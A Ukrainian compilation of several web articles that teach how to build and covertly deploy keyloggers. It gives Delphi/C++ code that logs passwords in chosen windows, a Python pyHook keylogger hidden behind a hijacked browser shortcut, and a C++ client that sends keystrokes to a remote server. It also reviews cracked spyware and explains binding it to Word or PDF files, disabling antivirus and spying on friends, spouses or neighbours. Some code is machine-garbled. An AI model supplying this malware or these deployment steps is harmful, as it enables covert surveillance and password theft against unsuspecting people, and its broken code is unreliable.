Покрокове написання кейлоггера на с.



Лабораторія інформаційної безпеки. Як це зроблено

Головна / Оптимізація роботи

Про написання клавіатурних шпигунів
розповідалося вже неодноразово, але всі вони
мають один великий недолік - як правило,
потрібно дізнатися дуже обмежену
інформацію, а не записувати у файл лога все,
що користувач пише на клавіатурі - навряд чи тобі
дасть багато їжі для роздумів
натискання на кнопки при грі в CS 😉

Звідси випливає, що шпигун має бути
просунутим, а не тупо писати в балку все, що
йому дають 🙂 Навіть назвати таку програму
шпигуном язик не повертається - це майже
електронний агент 007:-))) Шляхів для того,
щоб програма писала в лог, що цікавить
нас матеріал багато. Найпростіший -
контролювати активні вікна, тобто. в яких
в даний момент давляться кнопки 🙂 Як ти,
думаю, знаєш, шпигуни як правило складаються з
виконуваного файлу та DLL. Це пов'язано з тим,
що для перехоплення повідомлень до вікна
потрібно створити новий ПРОЦЕС, і саме
зручне для цього – використовувати dll-ку.
Тому для того, щоб активувати
власне сам логер, треба буде в потрібний
момент завантажити DLL, а коли активне вікно
зміниться на інше – вивантажити її з пам'яті.

Розглянемо функції роботи з DLL у мові Visual
C++. Завантаження на згадку про длл-ки проводиться
функцією hINSTAGE=LoadLibrary("name.dll"), де hINSTAGE -
як би дескриптор завантаженої в пам'ять DLL,
name.dll – ім'я бібліотеки. Щоб її вивантажити,
існує функція FreeLibrary (hINSTAGE);

Тепер про те, як можна нам потрібні
програми. Наприклад, нам відомо, що користувач
читає пошту через сайт www.mail.ru, тоді можна
налаштувати агента так, щоб він перехоплював
натискання клавіш, коли користувач зайде на цей
сайт. (Слід пам'ятати, що в деяких
додатках шпигун клавіатури взагалі не
може працювати, наприклад, в адресному рядку
Internet Explorer"a - це призводить до "аварійного
завершенню програм" - а чого іншого ти від
Windows хотів:))) Для цього способу цілком
підійде і читання паролів із "дзвонилки"
- якщо користувач страждає параноєю і щоразу
вводить логін та пас вручну 🙂 Або тобі дуже
цікаво дізнатися що ж він пише в Outlook або
у блокноті. Ось частина коду, що виконує
порівняння заголовків вікон із потрібними нам.

HINSTAGE hINSTAGE;

while (1)
{
//Запускаємо цикл.

int sl,ll;
ll=1;
sl=2;
//Змінні для
лічильник
а.
char st;
HWND hw;
//Ідемо найпростішим
шляхом - порівнюємо посимвольно рядки:
отриманий заголовок вікна і з потрібним нам
рядком.

while (ll! = sl)
{

hw=GetForegroundWindow();
GetWindowText(hw,st,128); // читаємо

char stt="_Тут пишемо заголовок потрібного
нам вікна_№1";

sl=strlen(stt);
ll=0;
while (stt==st)
//порівнюємо
посимвольно рядки
//це зручніше робити з тієї позиції, що буде
перевірятися, чи потрібна вхордить
//Нам рядок як частина в інший рядок, можна
зробити подобу //широкого фільтра.

{
ll++;
}

if (ll==sl) ( //якщо рядки
збігаються до кінця 1-го рядка -

halt; //перериваємо процес
}
// і так далі - якщо
Необхідно перевірити наявність кількох вікон.

char stt="_Тут пишемо заголовок потрібного
нам вікна_№2";
sl=strlen(stt);
ll=0;
while (stt==st)
{
ll++;
}

if (ll==sl) (
halt; //перериваємо процес
}

Замість послідовної перевірки можна
зробити паралельну, коли порівнюються в
одному циклі елементи рядків, якщо хоч одна
збіглася - тоді DLL-шпигун активізується.

hINSTAGE=LoadLibrary("key1.dll");

Тепер нам потрібно весь час перевіряти,
чи залишається це вікно активним.

while (ll==sl) //доки
рядки збігаються - крутимося на місці

{
hw=GetForegroundWindow();
GetWindowText(hw,st,128);
// читаємо
активне зараз вікно.

ll=0;
while (stt==st)
{
ll++;
}
}

Вихід із циклу говорить про те, що активне
вікно змінилося, тому далі вивантажуємо "шпигунську"
бібліотеку та цикл починається з початку – тобто.
прога знову чекає, коли випаде одне з
потрібних вікон.

FreeLibrary(hINSTAGE);

Однак вищеописаний спосіб має і
недоліки - потрібно щоразу перевіряти
із цілого списку вікон чи є потрібне
активним на даний момент. Тому
можна юзати інший алгоритм - перевіряти не
заголовок вікна, а дивитися, якщо в даному
вікні елементи типу EditBox"а. Як правило,
паролі пишуться саме там 🙂 Для цього буде
дивитися на елементи цього вікна - і якщо
серед них є Edit - тоді вантажимо DLL.

char p2, p3; //масиви
символів для заголовків вікон.

Знову ж таки в циклі перевіряємо всі вікна:

while (p3! = "Edit") //доки
не знайшли вікно з едітбоксом - виконуємо цикл

{

hw=GetForegroundWindow();

HWND hwnd_child; // змінна
елемент вікна

hwnd_child = GetWindow(hw,GW_CHILD);
GetClassName(hwnd_child, p3, 128);
if (p3!="Edit")
//якщо перший з
знайдених елементів вікна - не EditBox - тоді
шукаємо далі

{
while (hwnd_child! = 0)
{
hwnd_child = GetWindow(hwnd_child, GW_HWNDNEXT);

GetClassName(hwnd_child, p3, 128);
if (p3=="Edit")
{
halt;
}
}
}
}

Тепер власне про саму шпигунську DLL.
Писати її краще на Дельфях, бо цей
змужнілий нащадок Паскаля не має настільки
збоченої "Сипіпішної" звички
причіпки до типів даних. Щоб створити
бібліотеку виберемо File-New-Direct Link Library - і
заготовка для DLL готова. А ось сам код:

library key1;
uses Windows;

var
KHook: HHOOK; //Змінна для
"пастки"

function KProc(Code: integer; wParam: Word; lParam: LongInt): LongInt; stdcall;
const
KState: integer = 1073741824; //код
"Клавіша натиснута"

var
Simv: ShortString;
KL: array of Char; //для
перевірки розкладки клави

FStruct: TOFSTRUCT;
F: TextFile;
// змінна
файл для запису лога.

begin

// відсіваємо зайві
повідомлення
if (lParam and KState)<>0 then
begin

Exit;
end;

AssignFile(F, "keylog.txt");

// намагаємося відкрити
файл "keylog.txt":
if OpenFile(PChar("keylog.txt"), FStruct, OF_EXIST) = HFILE_ERROR then
begin
ReWrite(F);
// якщо файл не
створено – створюємо.

end
else Append(F);
//якщо є - пишемо в
кінець.

Simv:=chr(0); //обнулюємо
змінну символ, що читається з клавіатури.

// аналізуємо код
натиснутою клавіші
case wParam of
// цифри
48..57: Simv: = Chr (wParam);
96: Simv:="0";
97: Simv:="1";
...
104: Simv: = "8";
105: Simv:="9";
189,109: Simv:="-";
110: Simv:=".";
111: Simv:="/";
end;

GetKeyboardLayoutName(KL); //
перевіряємо розкладку

якщо KL = "00000409" then // якщо
латинська:

begin
case wParam of
219: Simv:="[";
221: Simv:="]";
186: Simv:=";";
222: Simv:=""";
188: Simv:=",";
190: Simv:=".";
191: Simv:="/";
65..90: Simv: = Chr (wParam);
end;
end;
end;
якщо KL = "00000419" then
// якщо
російська

begin
case wParam of
219: Simv:="Х";
221: Simv:="Ъ";
186: Simv: = "Ж";
222: Simv:="Е";
188: Simv: = "Б";
190: Simv: = "Ю";
191: Simv:=".";
65: Simv:="Ф";
...
87: Simv: = "Ц";
88: Simv:="Ч";
89: Simv:="Н";
90: Simv: = "Я";
end;

/ / Якщо символ не порожній (тобто.
якщо була натиснута буквено-цифрова клавіша)
// Тоді пишемо його у файл
if Simv<>"" then
Write(F, Simv);
//закриваємо файл
CloseFile(F);

// передаємо повідомлення
іншим пасткам у системі
Result:=CallNextHookEx(KHook, code, wParam, lParam);
end;

begin
//Встановити пастку
для перехоплення повідомлень про клавіатуру.

KHook:=SetWindowsHookEx(WH_KEYBOARD, @KProc, HInstance, 0);

Також цю програму можна спростити в
залежно від сфери застосування - якщо
припустимо потрібно лише рахувати один раз
пароль із дзвонилки - тоді можна поставити
перевірку на вікна до потрібного нам, і коли воно
стане активним - завантажити бібліотеку
key1.dll, почекати певний час, за
яке користувач встигне набити ці символи на
клавіатурі, а потім вивантажити бібліотеку та
завершити програму. Приблизно так 🙂

hINSTAGE=LoadLibrary("key1.dll");
Sleep(10000);
/ / Чекати 10 секунд, за це
Час користувач набере пароль.
//час може бути збільшено залежно
від ступеня загальмованості користувача
// та його скрості друкування на клаві 🙂

FreeLibrary(hINSTAGE);

PS: Весь перерахований вище матеріал був дано
виключно з демонстраційними та
загальноосвітніми цілями, автор ставив
перед собою завдання продемонструвати
алгоритм роботи програми типу "апгрейжений
клавіатурний шпигун" і вся
відповідальність за використання цього
матеріалу лягає на тебе (непосильним
тягарем 🙂) У реалізації коду присутні
дрібні неточності, що не шкодять власне
алгоритму – спробуй знайти їх сам)).

PSS: Звичайно ж, кейлоггер може не тільки
виконувати свою основну функцію -
власне писати в лог натискання кнопок, але й
змінювати значення натиснутих клавіш на твоє
смаку - але як це зробити і для чого це
може бути просто життєво необхідно -
наступного разу 🙂

Здрастуйте, з вами знову QUAZAR. Сьогодні я покажу, як створити простий кейлоггер на Python. Зрозуміло, цей клавіатурний шпигун не може змагатися з такими гігантами як, але незважаючи на це йому можна знайти своє застосування.

Що таке кейлоггер?

Докладно про те, що таке кейлоггер і про види кейлоггерів, ви можете прочитати у статті "". Щоб знайти додаткові матеріали на тему, використовуйте пошук по сайту, який знаходиться у верхньому правому кутку. Просто впишіть слово кейлоггер або клавіатурний шпигун.

Простий кейлоггер на Python

Для створення кейлоггера нам знадобиться:

  • Операційна система: Windows або MacOs (також можна використовувати будь-який Linux, але я особисто не пробував)
  • Встановлений на цільовій машині Python, а також спеціальні бібліотеки.

Цей матеріал носить інформаційний характер. Викладена у статті інформація надана виключно з ознайомлювальною метою. Ні редакція сайту www.сайт, ні автор публікації не несуть жодної відповідальності за будь-яку шкоду, завдану матеріалом цієї статті.

Створення простого кейлоггера на Python

Для початку необхідно завантажити та встановити Python.


Простий кейлоггер на Python

Після встановлення Python необхідно встановити модулі «pyHook» і «pywin32». На цьому сайті ви знайдете 32- та 64-бітні версії для Windows та інших ОС. Завантажте PYhook і pyWin32 відповідно до встановленої вами версії Python і Windows (32 біт або 64 біт).


Кейлоггер на Python. Модуль PYhook Кейлоггер на Python. Модуль pyWin32

Після завантаження встановіть та відкрийте меню IDLE (Python GUI) з меню "Пуск".

Простий кейлоггер на Python

Зайдіть у меню "Файл" і натисніть на пункті "Новий Файл". Після чого вставте код кейлоггера:

#Name: QUAZAR
#Website: www.сайт
import pyHook, pythoncom, sys, logging
file_log = "C:keyloggerlog.txt"
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format="%(message)s")
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown=OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

І збережіть його, назвавши файл Keylogger.pyw. Тільки не зберігайте файл у кореневому каталозі C: ​​де для копіювання та видалення файлів потрібні права адміністратора. Створіть нову папку на диску C: або в іншому місці, де не потрібні права адміністратора для копіювання файлів і збережіть Keylogger.pyw там.

Як вихідний файл звіту «file_log =« C:keyloggerlog.txt » ви можете вибрати будь-яке місце, але краще звичайно, якесь приховане місце на жорсткому диску. У цьому прикладі я зберігатиму файл звіту на диск у кореневий каталог C:. Адже мені нема чого приховувати.

Автоматичний запуск кейлоггера на Python

Кейлоггер готовий. Тепер треба зробити так, щоб кейлоггер запускався приховано від користувача і автоматично із завантаженням Windows. Реалізувати це можна по-різному. Спробуємо зробити за допомогою bat-файлу, прив'язавши запуск кейлоггера до якоїсь програми або прописавши в автозавантаження.

Спершу створіть bat-файл. Скопіюйте та вставте в блокнот наступний код:

::Name: QUAZAR
::Website: www.сайт
@echo off
start "" "C:keyloggerkeylogger.pyw"
start "" "C:Program FilesOperalauncher.exe"

У першому рядку необхідно вписати шлях до файлу keylogger.pyw (у моєму випадку "C:keylogger.pyw"). У другому рядку ви повинні ввести шлях до програми, яку зазвичай використовує користувач (у моєму випадку - браузер Opera).

Після редагування збережіть файл у розширенні .bat (у моєму випадку logger.bat) у якомусь прихованому місці на комп'ютері (у моєму випадку в «C:keylogger.bat»).

Тепер йдемо на робочий стіл і вибираємо ярлик часто використовуваної програми (у моєму випадку це браузер Opera). Правим кліком мишки викликаємо контекстне меню і заходимо у властивості ярлика. У полі Об'єкт вводимо шлях до бат-файлу кейлоггера C:keyloggerlogger.bat.

Після внесення змін зміниться і значок ярлика. Але це легко вирішується на вкладці властивості (дивіться скрін вище).

Хто з нас не хотів відчути себе хоч раз кул-хакером і зламати бодай щось? :) Якщо навіть і ні, то вже про те, як було б добре отримати пароль від пошти / соц. мережі друга, дружини/чоловіка, сусіда по кімнаті думав хоча б одного разу кожен. :) Та й треба ж з чогось починати, зрештою! Істотна частина атак (зломів) включає зараження комп'ютера жертви так званими кейлоггерами (spyware).

Отже, у сьогоднішній статті поговоримо про те, які є безкоштовні програми для стеження за комп'ютерами на базі windows, де можна завантажити їх повні версії, як заразити ними комп'ютер жертви та у чому особливості їхнього використання.

Але спочатку невелике запровадження.

Що таке і навіщо потрібні кейлоггери?

Про те, що це таке, гадаю, Ви здогадалися й самі. Як правило, вони є якоюсь програмою, яка прихована (хоча це не завжди так) встановлюється на комп'ютер жертви, після чого фіксує абсолютно всі натискання на клавіатурі на даному вузлі. При цьому крім самих по собі натискання зазвичай фіксується: дата-час натискання (дії) та програма, в якій ці дії були виконані (браузер, у тому числі адреса сайту (ура, відразу бачимо, від чого паролі!); локальне додаток; системні служби (в т.ч. паролі входу у windows) і т.д.).

Звідси відразу видно одна з проблем: я отримав на пару хвилин доступ до комп'ютера своєї сусідки і хочу отримати її пароль від ВК! Встановив чудо-програму і повернув комп'ютер. Як мені потім дивитися паролі? Знову шукати спосіб забрати у неї комп? Є приємна новина: як правило, ні. Більшість кейлоггеров здатне як зберігати всю накопичену основу дій локально, а ще й пересилати її віддалено. Варіантів відправлення логів існує безліч:

  • Фікситрований e-mail (можливо кілька) - найзручніший варіант;
  • FTP-сервер (у кого він є);
  • SMB-сервер (екзотика та й не дуже зручно).
  • Фіксована флешка (вставляєш її в USB-порт комп'ютера жертви, і всі логи копіюються туди автоматично в невидимому режимі!).

Навіщо все це потрібно? Думаю, відповідь очевидна. Крім банальної крадіжки паролів, деякі кейлогери вміють ще ряд приємних речей:

  • Логування листування у заданих соц. мережах чи месенджерах (напр, Skype).
  • Зйомка екранних скріншотів.
  • Перегляд/зйомка даних із веб-камери (що може бути дуже цікаво).

Як використовувати кейлоггери?

А це питання непросте. Треба розуміти, що просто знайти зручний функціональний добрий кейлоггер мало.

Отже, що ж потрібно для успішної роботи програми-шпигуна:

  • Адміністраторський доступ до віддаленого комп'ютера.
    Причому це не обов'язково саме фізичний доступ. Ви можете зайти туди через RDP (службу Видаленого робочого столу); TeamViewer; AmmyAdmin і т.д.
    Як правило, із цим пунктом пов'язані найбільші складнощі. Однак я недавно писав статтю про те, як отримати права адміністратора в Windows.
  • Анонімний e-mail/ftp (за яким Вас не обчислять).
    Звичайно, якщо Ви ламаєте сусідові тітку Шуру, цей пункт можна сміливо опустити. Як і у випадку, якщо у Вас комп'ютер жертви завжди під рукою (аля, дізнатися паролі брата/сестри).
  • Відсутність робочих антивірусів/внутрішніх систем захисту Windows.
    Більшість публічних кейлоггерів (про які і йтиметься нижче) відомі переважної більшості антивірусного ПЗ (хоча є такі віруси-логери, які вбудовуються в ядро ​​ОС або системний драйвер, і антивіруси вже не можуть їх виявити, ні знищити, якщо навіть виявили). В силу вищесказаного, антивірусне ПЗ, якщо таке є, доведеться безжально знищити. Окрім антивірусів, небезпеку для нашої програми-шпигуна становлять також системи типу Windows Defender (такі вперше з'явилися в Windows 7 і далі). Вони відловлюють підозрілу активність працюючого на комп'ютері. Про те, як же їх позбутися можна легко знайти в гугле.

Ось, мабуть, і всі необхідні та достатні умови Вашого успіху на терені крадіжки чужих паролів/листівок/фото чи на що там ще Вам заманеться посягнути.

Які бувають програми-шпигуни та де їх скачати?

Отже, почнемо огляд основних кейлоггерів, які мені довелося використовувати у своїй повсякденній практиці з посиланнями на безкоштовне скачування їх повних версій (тобто всі версії останні на даний момент (для яких реально знайти ліки) і вже робітниками і випробуваними кряками).

0. The Rat!

Оцінки (з 10) :

  • Прихованість: 10
  • Зручність / юзабіліті: 9
  • Функціональність: 8

Це просто бомба, а не кейлоггер! У робочому стані посідає 15-20 КБ. Чого дивуватися: він повністю написаний на асемблері (ветерани-програмісти розплакалися) і написаний здебільшого ентузіастами-хакерами, за рахунок чого рівень його скритності просто вражає уяву: працює він на рівні ядра ОС!

Крім того, в комплект поставки входить FileConnector - міні-програма, що дозволяє склеїти цей кейлоггер з будь-якою прогою. В результаті Ви отримуєте новий exe-шник практично того ж розміру, і працюючий при запуску так само, як та програ, з якою Ви його склеїли! Але після першого запуску Ваш кейлоггер буде автоматично встановлений у невидимому режимі із заздалегідь заданими Вами параметрами надсилання логів. Зручно, чи не так?

Прекрасна можливість для соціальної інженерії (приносите другу на флешці файл-гру/презентацію, та можна навіть просто документ ворд (про те, як створити exe-ік, що запускає конкретний word/excel-файл розповім в одній з наступних своїх статей), запускаєте, все добре і прекрасно, однак друг невидимо вже заражений!). Або ж просто надсилайте цей файлик другу поштою (краще посилання на його скачування, тому що сучасні поштові сервери забороняють відправлення exe-файлів). Звичайно, ризик від антивірусів при установці все ж таки має місце бути (зате його не буде після установки).

До речі, за допомогою деяких інших прийомів можна склеїти будь-який дистрибутив прихованої установки (такі є в The Rat! і в Elite keylogger) не тільки з exe-файлами (які у хоч трохи просунутих користувачів все ж таки викликають підозри), але і зі звичайними word / Excel та навіть pdf-файлами! Вже на просту pdf-ку ніхто ніколи нічого не подумає, але не тут було! :) Як це робиться – тема цілої окремої статті. Особливо завзяті можуть написати мені питання через форму зворотного зв'язку. ;)

Загалом, The Rat! можна описувати дуже довго та багато. Куди краще за мене це зроблено ось. Там є і посилання на скачування.

1. Elite keylogger

Оцінки (з 10) :

  • Прихованість: 10
  • Зручність / юзабіліті: 9
  • Функціональність: 8

Мабуть, один з найкращих будь-коли створених кейлоггерів. До його можливостей, крім стандартного набору (перехоплення всіх натискань у контексті додатків / вікон / сайтів), входить перехоплення повідомлень месенджерів, знімки з веб-камери, а також - що дуже важливо! - Перехоплення паролів служби WinLogon. Іншими словами, він перехоплює паролі входу до Windows (включаючи доменні!). Це стало можливим завдяки роботі на рівні системного драйвера і запуску ще на етапі завантаження ОС. З цієї ж особливості, ця програма залишається абсолютно невидимою і для Каспероського, і для іншого анти-шкідливого ПЗ. Зізнатися, я не зустрічав жодного кейлоггера, здатного на таке.

Проте ж не варто тішитися надто вже сильно. Сам інсталер розпізнається антивірусами дуже легко і для його установки знадобляться адмінівські права і відключення всіх антивірусних служб і сервісів. Після встановлення все буде працювати ідеально у будь-якому випадку.

Крім того, описана особливість (робота на рівні ядра ОС) вносить вимоги за версією ОС, на яких кейлоггерів буде працювати. Версія 5-5.3 (посилання на яку наведені нижче) підтримує все до Windows 7, включно. Win 8/10, а також windows сімейства server (2003/2008/2012) вже не підтримуються. Є версія 6, яка чудово функціонує в т.ч. на win 8 і 10, проте знайти крякнуту версію на даний момент неможливо. Мабуть, у майбутньому вона з'явиться. А поки ж скачати Elite keylogger 5.3 можна за посиланням вище.

Немає режиму мережевої роботи, тому для використання роботодавцями (для стеження за комп'ютерами своїх співробітників) або цілої групи осіб не підійде.

Важливим моментом є можливість створення настановного дистрибутива з налаштуваннями (наприклад, із заданою адресою пошти, куди потрібно буде надсилати логи). При цьому на виході Ви отримуєте дистрибутив, який при запуску не видає жодних попереджень або вікон, а після установки може навіть знищити себе сам (якщо відзначити відповідну опцію).

Кілька скрінів 5-ої версії (щоб показати, на скільки все красиво і зручно):

2. All-in-one keylogger.

Оцінки (з 10) :

  • Прихованість: 3
  • Зручність / юзабіліті: 9
  • Функціональність: 8

Також дуже зручна штуковина. Функціонал цілком собі на рівні Elite keylogger-а. Ось зі скритністю справи гірше. Winlogon-паролі вже не перехвачуються, драйвером він не є, в ядро ​​не вбудовується. Однак встановлюється в системні і приховані AppData-директорії, до яких не так легко дістатися стороннім користувачам (не тим, від імені яких він встановлений). Проте антивіруси рано чи пізно з успіхом це роблять, що робить цю річ не надто надійною і безпечною при використанні, наприклад, у вас на роботі для стеження за власним начальством. ;) Склеїти з чим-небудь або закриптувати код для приховування від антивірусів не вдасться.

Працює на будь-яких версіях ОС Win (що приємно та практично).

Що ж до іншого, все чудово: логує все (крім паролів на вхід у Windows), пересилає куди завгодно (включаючи e-mail, ftp, фіксовану флешку). За зручність також все чудово.

3. Spytech SpyAgent.

Оцінки (з 10) :

  • Прихованість: 4
  • Зручність / юзабіліті: 8
  • Функціональність: 10

Також непоганий кейлоггер, хоч і з сумнівною скритністю. Підтримувані версії ОС також можливі. Функціонал схожий на попередніми варіантами. Існує цікава функція самознищення після заданого періоду часу (або після досягнення наперед заданої дати).

Крім того, можливий запис відео з веб-камери та звуку з мікрофона, що також може бути дуже затребуваним і чого немає у попередніх двох представників.

Є режим роботи, що зручно для стеження за цілою мережею комп'ютерів. Він же, до речі, є у StaffCop (до огляду не включений через марність для одного користувача - фіз. особи). Мабуть, ця програма ідеально підійде роботодавцям для стеження за своїми співробітниками (хоча лідер у цій ниві беззастережно StaffCop і LanAgent - якщо Ви - юр. Особа, обов'язково подивіться в їх бік). Або ж для стеження за Вашим потомством, що любить посидіти за переглядом сайтів для дорослих. Тобто. там, де потрібна більше не прихованість, а зручність (в т.ч. купа красивих журналів-звітів тощо) та функціонал блокування заданих сайтів/програм (у SpyAgent він також є).

4. Spyrix Personal monitor.

Оцінки (з 10) :

  • Прихованість: 4
  • Зручність / юзабіліті: 6
  • Функціональність: 10

Функціонал на рівні попереднього кандидата, однак ті ж проблеми зі скритністю. Крім того, в функціонал входить цікава річ: копіювання файлів з USB-носіїв, що вставляються в комп'ютер, а також віддалений перегляд логів через веб-аккаунт на сайті Spyrix (але ми ж збираємося завантажити крякнуту версію, тому воно для нас працювати не буде).

5. Spyrix Personal monitor.

Оцінки (з 10) :

  • Прихованість: 3
  • Зручність / юзабіліті: 6
  • Функціональність: 8

Докладно не описуватиму, т.к. даний екземпляр не має нічого з того, чого б не було в одного з попередніх шпигунів, однак комусь даний кейлоггер може припасти до душі (як мінімум, своїм інтерфейсом).

Що маємо у результаті?

Питання використання кейлоггера більш етичне, ніж технічний, і він сильно залежить від Ваших цілей.

Якщо Ви - роботодавець, який бажає контролювати своїх співробітників, сміливо ставте StaffCop, збирайте з усіх співробітників письмові дозволи на такі дійства (інакше за такі справи Вас можуть неслабо залучити) та справу у капелюсі. Хоча я особисто знаю і ефективніші способи підвищення працездатності своїх співробітників.

Якщо ж Ви - IT-фахівець-початківець, який бажає просто випробувати, яке воно - когось поламати - і як взагалі ця справа працює, то озброюйтеся методами соціальної інженерії і проводите випробування на своїх друзях, використовуючи будь-який з наведених прикладів. Однак пам'ятайте: виявлення такої активності жертвами аж ніяк не сприяє дружбі та довголіттю. ;) І точно не варто перевіряти це на своїй роботі. Пам'ятайте мої слова: у мене є досвід. ;)

Якщо ж Ваша мета - прошпигувати за подругою, чоловіком, сусідом, а може, взагалі робите це регулярно і за гроші, добре подумайте, чи варто. Адже рано чи пізно можуть залучити. Та й не варто воно того: "ритися в чужій брудній білизні - задоволення не з приємних". Якщо все ж таки треба (а може, Ви працюєте у сфері розслідування комп'ютерних злочинів і такі завдання входять до Ваших професійних обов'язків), то варіанти лише два: The Rat! та Elite Keylogger. У режимі прихованих настановних дистрибутивів, склеєних з word/excel/pdf. І краще, наскільки можна, закриптованих свіжим криптором. Тільки в цьому випадку можна гарантувати більш-менш безпечну діяльність і реальний успіх.

Але в будь-якому випадку варто пам'ятати, що грамотне застосування кейлоггерів – це лише одна маленька ланка у досягненні мети (в т.ч. навіть простої атаки). Не завжди є адмінівські права, не завжди є фізичний доступ і не всі користувачі будуть відкривати, читати і тим більше качати Ваші вкладення / посилання (привіт соц. інженерії), не завжди буде відключений антивірус / Ваш кейлоггер / криптор не завжди буде йому невідомий . Всі ці та багато з невимовних проблем можна вирішити, але їх вирішення - тема цілої серії окремих статей.

Словом, Ви тільки почали поринати в складний, небезпечний, але дуже цікавий світ інформаційної безпеки. :)

З повагою,Лисяк О.С.


А перш ніж приступити до прочитання - зазирни в мій бложик, там я публікую свої авторські статті з програмування, вірусології та інших цікавих речей
Оригінал статті

Вся інформація надана виключно для ознайомлення. Ні адміністрація, ні автор не несуть відповідальності за будь-яку можливу шкоду, заподіяну матеріалами цієї статті.


Передмова
Протягом приблизно місяця я постійно спостерігав за різними проханнями, питаннями щодо кейлоггерів. Багато хто шукав, але не міг знайти вихідних, багато шукав, але не міг знайти продажників і т.д.

У цій статті я хочу показати, як просто написати самому кейлоггер з базовим функціоналом. Базу я запозичив звідси - * * , пофіксував багі та доопрацював під взаємодію з WinSocket

Матеріали
  • Visual Studio 2015 Community Update 4
  • Visual C++ 2015
Структура програми
Для початку необхідно визначити, як взагалі працюватиме кейлоггер. Будь то посилання логів на FTP/Пошту, запис натискань у сокет, відправка файлу на гейт, запис логів у бд.
Я вирішив зупинитись на сокетах. Чому? Це зручно, просто та юзабельно.
Виходячи з вибору, нам потрібно буде зробити 2 додатки:

Сервер
  • Консольна програма, яка буде приймати дані від клієнта та видавати в консолі
Клієнт
  • Власне, сам кейлоггер, який відсилатиме натискання клавіш на сервер
І почнемо ми, мабуть, із сервера.

Сервер
Створюємо консольну C++ програму в Visual Studio.
Весь код є в оф. приклад MSDN - *Увійдіть на форум для перегляду посилань. *
Нам лише потрібно замінити деякі значення в ньому.
Відразу пропишемо константні змінні: величину буфера та порт сервера, на який приходитимуть логи

Код:

#define DEFAULT_BUFLEN 1024 //Буффер #define DEFAULT_PORT "1337" //Порт

Замість одноразового do/while ставимо нескінченний цикл, у якому прийматимемо дані від клієнта, виводити їх у консоль, закривати з'єднання і за новою:

Код:

Do (ClientSocket = accept(ListenSocket, NULL, NULL); //Приймаємо коннект iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);//Зчитуємо лог if (iResult > 0) //Якщо лог не порожній printf("% s", recvbuf); //Виводимо closesocket(ClientSocket);//Закриваємо з'єднання memset(recvbuf, 0, sizeof recvbuf);//Звільняємо пам'ять ) while (true);

Компілюємо в Release, закидаємо на дідік, відкриваємо потрібний нам порт і запускаємо

Клієнт


Створюємо програму Win32 в Visual Studio.
Як я вже й говорив вище, хук клавіатури та обробник натискань я взяв з *Увійдіть на форум для перегляду посилань. *
Щоб прикрутити відправку натискання на сокет я звернувся до *Увійдіть на форум для перегляду посилань. *
Також, відразу визначаємо константні змінні: довжину буффера, айпі дедіка/компа і порт

Код:

#define DEFAULT_BUFLEN 20000 #define SERVER_IP "127.0.0.1" #define SERVER_PORT "1337"

Деякі змінні довелося витягнути з їх методів і зробити глобальними, щоб код почав працювати коректно:

Код:

WSADATA wsaData; SOCKET ConnectSocket = INVALID_SOCKET; HHOOK _hook;KBDLLHOOKSTRUCT kbdStruct; char lastwindow; int Save(int key_stroke); // Забрав другий аргумент

Створюємо метод надсилання даних на сервер за прикладом, який був на початку абзацу. Далі, скрізь замінюємо порт, айпі і інфу, що передається на аргументи функції:

Код:

Void sendData (char * ip, char * port, char * data)

У методі Save робимо таке - прибираємо другий аргумент і змінюємо запис логів у файл на відправку до сервера:

Код:

Char data; sprintf(data, "\n\n", window_title, s); sendData(SERVER_IP, SERVER_PORT, data);

Далі, за таким же принципом, міняємо відправлення у натисканнях службових клавіш. Надсилання літер можна зробити таким чином:

Код:

Char c; sprintf(c, "%c", key_stroke); sendData(SERVER_IP, SERVER_PORT, c);

Вирізаємо все, що пов'язано з видимістю вікна з коду, і готове.

Підсумок
При запуску кейлоггера він повисне в процесах і оброблятиме кожне натискання на клавіатурі. Можливо, деякі символи будуть відображатися некоректно, наприклад, сліши, але все це можна виправити самому (адже якби все було ідеально, до мене в личку стукав Ісус із проханням перевірити продажника приватного кейлоггера).

Різні шпигунські програми бувають потрібні в умовах, коли до одного комп'ютера мають доступ багато людей.

У цих умовах користувач може захотіти дізнатися, які сайти відвідувалися з його комп'ютера (наприклад, дітьми), чи не відбувалося крадіжка з кредитних карток за допомогою збережених паролів і т.д.

Наш огляд дозволить вам зробити оптимальний вибір.

Особливості вибору

Що таке за своєю суттю клавіатурний шпигун? Це програма, яка, строго кажучи, прямо не пов'язана з клавіатурою.

Вона встановлюється на згадку про комп'ютера і діє . Часто ознак її діяльності немає на комп'ютері, а то й шукати їх цілеспрямовано.

Така програма опосередковано взаємодіє з клавіатурою, тобто працює з програмою на ПК, яка перетворює сигнали, що надходять на процесор в результаті натискання кнопок, текст при друку.

Тобто спрямовано дію такого софту на збір інформації, що вводиться через клавіатуру.

Такі утиліти бувають різного типу – за допомогою деяких можна переглянути весь набраний з клавіатури текст, за допомогою інших – лише той, що був набраний у браузері або в будь-якій вибраній програмі.

Деякі програми надають можливість налаштування таких показників, інші – немає.

Також вони відрізняються один від одного за ступенем скритності. Наприклад, діяльність одних очевидна, на Робочому столі залишається ярлик тощо. програми підійдуть контролю діяльності, наприклад, дітей.

Сліди присутності та діяльності інших не помітні зовсім – вони діють приховано та підійдуть для встановлення на чужий комп'ютер, коли факт установки необхідно приховати від стороннього користувача.

Враховуючи таку різноманітність, вибрати максимально підходящий софт може бути досить складним.

В даному матеріалі представлений ТОП найкращих програм, які можна використовувати для цієї мети. Серед них простіше вибрати потрібну.

Технічні характеристики

Для спрощення процесу вибору програмного забезпечення в таблиці, наведеній нижче, наведено основні порівняльні характеристики всіх програм, включених до ТОП.

НазваТип ліцензіїТип інформації, що збираєтьсяФункціоналДизайн
SC-KeyLogБезкоштовноВсяШирокийСпрощений
WideStep Handy KeyloggerБезкоштовно/ПлатноВсяШирокийПокращений
Actual SpyПлатноВсяДуже широкийСтандартний
EliteKeyloggerПлатноВсяШирокийСтандартний
The Rat!Безкоштовно/ПлатноМенше, ніж у попередніхДосить широкийНеестетичний
SPYGOБезкоштовноЗалежно від версіїЗалежно від версіїСтандартне оформлення Windows
Ardamax Keylogger 2.9БезкоштовноЗ клавіатуриЗвуженийСпрощений
NS Keylogger Personal Monitor 3.8БезкоштовноВсяЗвуженийСпрощений
KGB SpyПлатноЗ клавіатури+ відкриті програмиВузькийПростий
